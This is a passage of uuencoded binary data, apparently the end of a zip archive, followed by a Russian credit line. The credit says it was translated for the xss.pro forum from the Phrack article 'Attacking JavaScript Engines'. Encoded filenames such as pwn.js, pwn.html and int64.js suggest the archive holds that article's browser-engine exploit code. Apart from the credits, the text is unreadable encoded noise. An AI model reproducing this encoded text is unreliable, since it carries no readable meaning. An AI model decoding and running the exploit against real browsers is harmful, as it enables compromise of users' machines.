M`Y$I;?+@ZD_7Y+D;/^!]J,D=:1^TLDCE%W,FE/HK;!5UT.T&I^2J2[XQZA,9
M,?)_X=\N@^>?3=\:1BQKP-#2LEGCHL!^YP4!;R[/W,24<4IZ:JX[PE3J\F'K
M*#K-RQN1-:Z4FQ%0GC6HVC2O$YI4K$,-&;$T38<_8D3>4`EX375+V;*&E
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
M@1L;#:\5E9#,R!84JS!=MZ[$;*7S1N)U0C3QJF@RASR3_FR37C(L_4)*G3&<
M?:QF.6B5X:<&=M#HY4;QC%M+DU9R5@,+8+H0(6_(XRA!]GG9*'J!KKEAW75Y
M]'U3%-P$-8+[O05>^G!RWLG03\CO`@%'9#0GH4R$;C!WN@[X`7VZ?@)>2,W<
MV4\>'^"O0^0!/CZ-P5;$[N+X,_`CL,"RLN&Q^?I>A]"$4)L^3H?(\=KB4M^-
M%R#X>D4CZ^MM1LEN(X]JX=U&/;Z?PLB`]XO)\3N<TG<\1I=[[/WX"O>#_42W
MT4)ZPOWXX%ZD:O[_<KP6_[-FO5-2RUWW;WI4MT[;Q]4@[Q\8#L]><M^W,ZUG
MCUI?Q)T6<>IT3;G!@$.R<]E%;+<PYCC)LP1W^0U02P$"'@,*``````!1KD9)
M````````````````!``8`````````!``[4$`````<W)C+U54!0`#":OV5W5X
M"P`!!/4!```$4````%!+`0(>`Q0````(`!>N1DFX3#HD=P,``"8)```.`!@`
M``````$```"D@3X```!S<F,O96UA:6PN:'1M;%54!0`#G:KV5W5X"P`!!/4!
M```$4````%!+`0(>`Q0````(`/1N1DD56OBT%@8``&@2```,`!@```````$`
M``"D@?T#``!S<F,O:6YT-C0N:G-55`4``[L[]E=U>`L``03U`0``!%````!0
M2P$"'@,4````"``/KD9)E(.)\4P#``!0"```#``8```````!````I(%9"@``
M<W)C+W!W;BYH=&UL550%``..JO97=7@+``$$]0$```10````4$L!`AX#%```
M``@`)*Y&2>G85Y(7"@``Z!H```H`&````````0```*2!ZPT``'-R8R]P=VXN
M:G-55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8
M]%<#``!?"```#``8```````!````I(%&&```<W)C+W5T:6QS+FIS550%``-0
H._97=7@+``$$]0$```10````4$L%!@`````&``8`Y`$``.,;````````
`
end
Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - http://www.phrack.org/papers/attacking_javascript_engines.html